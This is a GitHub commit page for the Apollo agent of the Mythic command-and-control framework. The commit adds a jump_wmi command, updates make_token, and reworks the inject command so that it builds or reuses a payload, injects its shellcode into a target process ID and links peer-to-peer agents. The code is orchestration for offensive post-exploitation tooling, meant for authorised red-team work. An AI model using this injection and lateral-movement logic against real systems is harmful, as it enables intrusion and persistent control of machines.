Skip to content

Commit

Permalink
adding jump_wmi, updating make_token, and browserscript updates
Browse files Browse the repository at this point in the history
  • Loading branch information
@its-a-feature
its-a-feature committed Sep 27, 2024
1 parent 369cbdc commit 6782a8c
Show file tree
Hide file tree
Showing 8 changed files with 422 additions and 66 deletions.
8 changes: 8 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
View file
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.2.15] - 2024-09-27

### Changed

- Added in new `jump_wmi` command
- Updated `make_token` to allow cli args instead of just modal without registering new creds
- Updated sizes in ls browser script

## [v2.2.14] - 2024-09-24

### Changed
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/apollo/apollo/mythic/agent_functions/builder.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ class Apollo(PayloadType):
supported_os = [
SupportedOS.Windows
]
version = "2.2.14"
version = "2.2.15"
wrapper = False
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
note = """
Expand Down
141 changes: 85 additions & 56 deletions Payload_Type/apollo/apollo/mythic/agent_functions/inject.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -15,12 +15,26 @@ def __init__(self, command_line, **kwargs):
cli_name="Payload",
display_name="Payload",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_payloads),
dynamic_query_function=self.get_payloads,
parameter_group_info=[ParameterGroupInfo(
required=False
)]
),
CommandParameter(
name="pid",
cli_name="PID",
display_name="PID",
type=ParameterType.Number),
CommandParameter(
name="regenerate",
cli_name="regenerate",
display_name="Generate New Payload",
type=ParameterType.Boolean,
default_value=False,
parameter_group_info=[ParameterGroupInfo(
required=False
)]
)
]

errorMsg = "Missing required parameter: {}"
Expand All @@ -47,7 +61,7 @@ async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRP


async def parse_arguments(self):
if (self.command_line[0] != "{"):
if self.command_line[0] != "{":
raise Exception("Inject requires JSON parameters and not raw command line.")
self.load_args_from_json_string(self.command_line)
if self.get_arg("pid") == 0:
Expand Down Expand Up @@ -98,62 +112,77 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
if len(payload_search.Payloads) == 0:
raise Exception("No payloads found matching {}".format(taskData.args.get_arg("template")))
str_uuid = payload_search.Payloads[0].UUID
newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage(
TaskID=taskData.Task.ID, PayloadUUID=str_uuid, NewDescription="{}'s injection into PID {}".format(taskData.Task.OperatorUsername, str(taskData.args.get_arg("pid")))
))
if newPayloadResp.Success:
# we know a payload is building, now we want it
while True:
resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
PayloadUUID=newPayloadResp.NewPayloadUUID
))
if resp.Success:
if resp.Payloads[0].BuildPhase == 'success':
# it's done, so we can register a file for it
response.DisplayParams = "payload '{}' into PID {}".format(payload_search.Payloads[0].Description, taskData.args.get_arg("pid"))
response.TaskStatus = MythicStatus.Processed
c2_info = resp.Payloads[0].C2Profiles[0]
is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp"
if not is_p2p:
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
SubtaskCallbackFunction="inject_callback",
CommandName="shinject",
Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": resp.Payloads[0].AgentFileId})
))
payload = None
if taskData.args.get_arg("regenerate"):
newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage(
TaskID=taskData.Task.ID, PayloadUUID=str_uuid, NewDescription="{}'s injection into PID {}".format(taskData.Task.OperatorUsername, str(taskData.args.get_arg("pid")))
))
if newPayloadResp.Success:
# we know a payload is building, now we want it
str_uuid = newPayloadResp.NewPayloadUUID
while True:
resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
PayloadUUID=newPayloadResp.NewPayloadUUID
))
if resp.Success:
if resp.Payloads[0].BuildPhase == 'success':
# it's done, so we can register a file for it
payload = resp.Payloads[0]
break
elif resp.Payloads[0].BuildPhase == 'error':
raise Exception("Failed to build new payload ")
else:
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
CommandName="shinject",
Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": resp.Payloads[0].AgentFileId})
))
if subtask.Success:
connection_info = {
"host": "127.0.0.1",
"agent_uuid": newPayloadResp.NewPayloadUUID,
"c2_profile": c2_info
}
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
CommandName="link",
SubtaskCallbackFunction="inject_callback",
Params=json.dumps({
"connection_info": connection_info
})
))
else:
response.Success = False
response.Error = subtask.Error

break
elif resp.Payloads[0].BuildPhase == 'error':

raise Exception("Failed to build new payload ")
else:
await asyncio.sleep(1)
await asyncio.sleep(1)
else:
logger.exception("Failed to build new payload")
raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template")))
else:
logger.exception("Failed to build new payload")
raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template")))
# fetch data about the payload
resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage(
PayloadUUID=str_uuid
))
if resp.Success:
if resp.Payloads[0].BuildPhase == 'success':
# it's done, so we can register a file for it
payload = resp.Payloads[0]
elif resp.Payloads[0].BuildPhase == 'error':
raise Exception("Selected Payload Failed to Build ")
else:
raise Exception("Payload isn't done building")
response.DisplayParams = "payload '{}' into PID {}".format(payload.Filename, taskData.args.get_arg("pid"))
response.TaskStatus = MythicStatus.Processed
c2_info = payload.C2Profiles[0]
is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp"
if not is_p2p:
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
SubtaskCallbackFunction="inject_callback",
CommandName="shinject",
Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId})
))
else:
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
CommandName="shinject",
Params=json.dumps({"pid": taskData.args.get_arg("pid"), "shellcode-file-id": payload.AgentFileId})
))
if subtask.Success:
connection_info = {
"host": "127.0.0.1",
"agent_uuid": str_uuid,
"c2_profile": c2_info
}
subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage(
TaskID=taskData.Task.ID,
CommandName="link",
SubtaskCallbackFunction="inject_callback",
Params=json.dumps({
"connection_info": connection_info
})
))
else:
response.Success = False
response.Error = subtask.Error
return response

async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
Expand Down
Loading

0 comments on commit 6782a8c

Please sign in to comment.